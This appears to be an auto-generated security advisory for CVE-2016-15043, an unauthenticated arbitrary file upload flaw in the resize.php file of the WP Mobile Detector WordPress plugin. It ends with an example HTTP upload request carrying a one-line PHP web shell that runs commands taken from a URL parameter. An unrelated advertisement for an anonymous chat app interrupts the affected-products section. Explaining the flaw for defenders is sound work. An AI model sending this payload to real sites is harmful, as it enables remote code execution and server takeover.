Overview
The CVE-2016-15043 is a high-severity vulnerability that particularly affects the WP Mobile Detector plugin for WordPress. This vulnerability is due to the lack of file type validation in the resize.php file in versions up to and including 3.5. Given the popularity of WordPress as a content management system (CMS), a large number of websites could potentially be affected. This vulnerability matters because it potentially allows unauthenticated attackers to upload arbitrary files to the server of the affected site, potentially enabling remote code execution.
Vulnerability Summary
CVE ID: CVE-2016-15043
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: The exploitation of this vulnerability could lead to system compromise or data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
WP Mobile Detector plugin for WordPress | Up to and including 3.5
How the Exploit Works
The vulnerability exists due to improper file type validation in the resize.php file of the WP Mobile Detector plugin. An attacker can exploit this vulnerability by sending specially crafted HTTP requests. This would allow the attacker to upload arbitrary files to the server of the affected site, potentially enabling remote code execution. Given that no authentication is required to exploit this vulnerability, any unauthenticated attacker could potentially compromise the system or cause data leakage.
Conceptual Example Code
The following is a conceptual example of how the vulnerability could be exploited. This example demonstrates a HTTP request where an attacker uploads a malicious file.
POST /wp-content/plugins/wp-mobile-detector/resize.php HTTP/1.1
Host: vulnerable-wordpress-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1234
------WebKitFormBoundary1234
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php
// malicious payload
system($_GET['cmd']);
?>
------WebKitFormBoundary1234--
In the above example, the attacker sends a POST request to the resize.php script with a malicious PHP file. Once uploaded, the attacker can execute arbitrary commands on the server by simply accessing the uploaded file with an appropriate `cmd` parameter.